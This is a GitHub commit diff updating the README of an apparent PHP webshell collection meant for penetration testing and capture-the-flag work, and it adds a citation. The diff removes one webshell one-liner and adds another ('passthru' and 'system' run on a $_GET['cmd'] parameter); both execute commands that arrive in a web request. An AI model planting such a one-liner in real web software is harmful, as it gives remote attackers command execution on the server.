Skip to content

Commit 226a15d

Browse files
committed
Update and include citation
1 parent 3275ca0 commit 226a15d

File tree

1 file changed

+33
-14
lines changed

1 file changed

+33
-14
lines changed

README.md

Lines changed: 33 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,30 +1,49 @@
11
Contributing
22
============
3+
34
To contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your **php** web-shell and include a screen-shot of the web-shell (as hosted in your localhost).
45

5-
php-webshells
6+
PHP Webshells
67
=============
78

8-
Common PHP shells. Do not put these on a publicly-accessible webserver.
9+
Common PHP shells is a collection of PHP webshells that you may need for your penetration testing (PT) cases or in a CTF challenge.
10+
11+
Do not host any of the files on a publicly-accessible webserver (unless you know what you are up-to).
12+
13+
These are provided for education purposes only and legitimate PT cases.
14+
15+
I'll keep updating the collection whnever I stumble on any new webshell.
16+
17+
FYI
18+
====
919

10-
These are provided for education purposes only.
1120

12-
Common php webshells. Do not host the file(s) in your server!
21+
For basic features, I recommend one-liners like :
1322

14-
++++++++++++++++++++++++++
23+
``
1524

16-
Though I recommend one-liners like
25+
``
1726

18-
php echo passthru($_GET['cmd']); ?>
27+
`system($_GET['cmd']); ?>`
1928

20-
(Not a full fledged webshell, but works fine)
29+
``
2130

22-
=================================================================
2331

24-
You can try WebHandler for one-liners.
32+
Cite:
33+
=====
2534

26-
WebHandler.py works for POST and GET requests:
35+
```
36+
@software{jacques_pharand_2020_3748072,
37+
author = {Jacques Pharand and
38+
John Troon and
39+
Javier Izquierdo Vera},
40+
title = {JohnTroony/php-webshells: Collection CS1},
41+
month = apr,
42+
year = 2020,
43+
publisher = {Zenodo},
44+
version = {1.1},
45+
doi = {10.5281/zenodo.3748072},
46+
url = {https://doi.org/10.5281/zenodo.3748072}
47+
}
2748
28-
29-
30-
49+
```

0 commit comments

Comments
 (0)